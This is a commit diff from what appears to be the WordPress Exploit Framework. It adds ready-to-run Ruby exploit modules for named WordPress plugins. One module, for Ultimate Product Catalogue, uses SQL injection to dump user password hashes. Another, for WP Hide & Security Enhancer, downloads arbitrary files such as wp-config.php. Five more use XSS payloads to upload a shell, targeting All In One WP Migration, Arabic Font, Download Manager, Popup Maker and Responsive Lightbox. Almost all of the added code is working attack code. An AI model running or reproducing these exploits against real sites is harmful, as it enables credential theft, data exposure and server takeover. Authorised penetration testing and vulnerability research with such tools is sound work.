Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit f3aa02f

Browse files
committed
Merge branch 'development'
2 parents dad7d77 + 6e27aac commit f3aa02f

14 files changed

+577
-2
lines changed

lib/wpxf/net/cookie_jar.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ module Net
44
class CookieJar < Hash
55
# @return [String] a cookie string.
66
def to_s
7-
map { |key, value| "#{key}=#{value}" }.join('; ')
7+
map { |key, value| "#{key}=#{value};" }.join(' ')
88
end
99

1010
# Parse a cookie into the {CookieJar}.

lib/wpxf/wordpress/stored_xss.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,12 @@ def store_script_and_validate
4040
false
4141
end
4242

43+
# Execute all tasks required before storing the script.
44+
# @return [Boolean] return true if the prerequisite actions were successfully executed.
45+
def before_store
46+
true
47+
end
48+
4349
# @return [Number] The status code that is expected after storing the script.
4450
def expected_status_code_after_store
4551
200
@@ -48,7 +54,7 @@ def expected_status_code_after_store
4854
# Run the module.
4955
# @return [Boolean] true if successful.
5056
def run
51-
return false unless super
57+
return false unless super && before_store
5258

5359
emit_info 'Storing script...'
5460
return false unless store_script_and_validate
Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
class Wpxf::Auxiliary::UltimateProductCatalogueHashDump < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Ultimate Product Catalogue <= 4.2.2 Authenticated Hash Dump',
9+
desc: %(
10+
Ultimate Product Catalogue <= 4.2.2 contains an SQL injection vulnerability
11+
which can be leveraged by all users with at least subscriber status. This
12+
module utilises this vulnerability to dump the hashed passwords of all
13+
users in the database.
14+
),
15+
author: [
16+
'Lenon Leite', # Disclosure
17+
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
],
19+
references: [
20+
['WPVDB', '8853'],
21+
['URL', 'http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/']
22+
],
23+
date: 'Jun 26 2017'
24+
)
25+
26+
register_options([
27+
StringOption.new(
28+
name: 'export_path',
29+
desc: 'The file to save the hash dump to',
30+
required: false
31+
)
32+
])
33+
end
34+
35+
def check
36+
check_plugin_version_from_readme('ultimate-product-catalogue', '4.2.3')
37+
end
38+
39+
def requires_authentication
40+
true
41+
end
42+
43+
def export_path
44+
return nil if normalized_option_value('export_path').nil?
45+
File.expand_path normalized_option_value('export_path')
46+
end
47+
48+
def execute_sqli(payload)
49+
res = execute_post_request(
50+
url: wordpress_url_admin_ajax,
51+
cookie: session_cookie,
52+
params: {
53+
'action' => 'get_upcp_subcategories'
54+
},
55+
body: {
56+
'CatID' => payload
57+
}
58+
)
59+
60+
return res.body if res && res.code == 200
61+
62+
if res
63+
emit_error "Injection failed - request returned code #{res.code}"
64+
return nil
65+
end
66+
67+
emit_error 'Injection failed'
68+
nil
69+
end
70+
71+
def determine_prefix
72+
eol_token = Utility::Text.rand_numeric(10)
73+
payload = "0 union select table_name, #{eol_token} FROM information_schema.tables where table_schema = database()"
74+
75+
res = execute_sqli(payload)
76+
return nil unless res
77+
78+
res[/,([^,]+?)usermeta,#{eol_token}/, 1]
79+
end
80+
81+
def dump_and_parse_hashes(prefix)
82+
eol_token = Utility::Text.rand_numeric(10)
83+
payload = "0 UNION SELECT concat(user_login,0x3a,user_pass),#{eol_token} FROM #{prefix}users"
84+
85+
output = execute_sqli(payload)
86+
pattern = /(.+?)\:(.+?),#{eol_token}[,0]?/
87+
output.scan(pattern)
88+
end
89+
90+
def output_as_table(creds)
91+
rows = []
92+
rows.push(user: 'Username', hash: 'Hash')
93+
creds.each do |pair|
94+
rows.push(user: pair[0], hash: pair[1])
95+
end
96+
97+
emit_table rows
98+
end
99+
100+
def export_creds(creds)
101+
open(export_path, 'w') do |f|
102+
creds.each do |pair|
103+
f.puts "#{pair[0]}:#{pair[1]}"
104+
end
105+
end
106+
107+
emit_success "Saved dump to #{export_path}"
108+
end
109+
110+
def run
111+
return false unless super
112+
113+
emit_info 'Determining database prefix...'
114+
prefix = determine_prefix
115+
return false unless prefix
116+
emit_success "Found prefix: #{prefix}", true
117+
118+
emit_info 'Dumping user hashes...'
119+
creds = dump_and_parse_hashes(prefix)
120+
output_as_table creds
121+
122+
export_creds(creds) if export_path
123+
true
124+
end
125+
end
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
class Wpxf::Auxiliary::WpHideSecurityEnhancerFileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Hide & Security Enhancer <= 1.3.9.2 File Download',
9+
author: [
10+
'Julio Potier', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8867'],
15+
['URL', 'https://secupress.me/blog/arbitrary-file-download-vulnerability-in-wp-hide-security-enhancer-1-3-9-2/']
16+
],
17+
date: 'Jul 21 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-hide-security-enhancer', '1.3.9.3')
23+
end
24+
25+
def default_remote_file_path
26+
'wp-config.php'
27+
end
28+
29+
def working_directory
30+
'the WordPress installation directory'
31+
end
32+
33+
def downloader_url
34+
normalize_uri(wordpress_url_plugins, 'wp-hide-security-enhancer', 'router', 'file-process.php')
35+
end
36+
37+
def download_request_params
38+
{ 'action' => 'style-clean', 'file_path' => "/#{remote_file}" }
39+
end
40+
41+
def validate_content(content)
42+
if content.empty?
43+
emit_error 'No content returned, file may not exist.'
44+
return false
45+
end
46+
47+
true
48+
end
49+
end
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
class Wpxf::Exploit::AllInOneMigrationReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'All In One WP Migration <= 6.45 Reflected XSS Shell Upload',
9+
author: [
10+
'0w4ys', # Dislosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8851']
15+
],
16+
date: 'Jun 20 2017'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('all-in-one-wp-migration', '6.46')
22+
end
23+
24+
def xss_payload
25+
url_encode("\"}<img src=#{Utility::Text.rand_alpha(5)} onerror=#{xss_ascii_encoded_include_script}><!--")
26+
end
27+
28+
def url_with_xss
29+
"#{wordpress_url_admin_ajax}?action=ai1wm_status&secret_key=#{xss_payload}"
30+
end
31+
end
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::ArabicFontCsrfStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Arabic Font <= 1.2 CSRF Stored XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Discovery + WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8868'],
14+
['URL', 'https://www.rastating.com/arabic-font-1-2-csrf-stored-xss']
15+
],
16+
date: 'Jul 18 2017'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('arabic-font', '1.2.1')
22+
end
23+
24+
def initial_script
25+
create_basic_post_script(
26+
normalize_uri(wordpress_url_admin, 'admin.php?page=arabic-font%2Finc%2Finit.php'),
27+
'save1' => 'Save changes',
28+
'AF_fontfamily' => 'JF Flat Jozoor',
29+
'AF_fontsize' => '18',
30+
'AF_lineheight' => '45',
31+
'AF_textalign' => 'Center',
32+
'AF_defaultcssclass' => ".arab\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input+type=\\\"hidden\\\"+value=\\\"",
33+
'AF_customcss' => '',
34+
'action' => 'save'
35+
)
36+
end
37+
end
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::DownloadManagerReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'Download Manager <= 2.9.51 Reflected XSS Shell Upload',
10+
author: [
11+
'Tom Adams', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8850'],
16+
['URL', 'https://security.dxw.com/advisories/xss-download-manager/']
17+
],
18+
date: 'Jun 16 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_changelog('download-manager', 'readme.txt', '2.9.52')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin-ajax.php')
28+
end
29+
30+
def xss_payload
31+
url_encode("</script><script>#{xss_ascii_encoded_include_script}</script>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?action=wpdm_generate_password&id=#{xss_payload}"
36+
end
37+
end
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::PopupMakerReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Popup Maker <= 1.6.4 Reflected XSS Shell Upload',
9+
author: [
10+
'Chris Liu', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8878'],
15+
['CVE', '2017-2284'],
16+
['URL', 'https://jvn.jp/en/jp/JVN92921024/index.html']
17+
],
18+
date: 'Jul 24 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('popup-maker', '1.6.5')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'edit.php')
28+
end
29+
30+
def url_payload
31+
url_encode("\"><svg onload=#{xss_ascii_encoded_include_script}>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?post_type=popup&page=pum-settings&tab=#{url_payload}"
36+
end
37+
end
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::ResponsiveLightboxReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Responsive Lightbox <= 1.7.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Chris Liu', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8860'],
15+
['CVE', '2017-2243'],
16+
['URL', 'http://jvn.jp/en/jp/JVN39819446/index.html']
17+
],
18+
date: 'Jul 04 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('responsive-lightbox', '1.7.2')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'options-general.php')
28+
end
29+
30+
def url_payload
31+
url_encode("\"><svg onload=#{xss_ascii_encoded_include_script}><!--")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?page=responsive-lightbox&tab=configuration&section=#{url_payload}"
36+
end
37+
end

0 commit comments

Comments
 (0)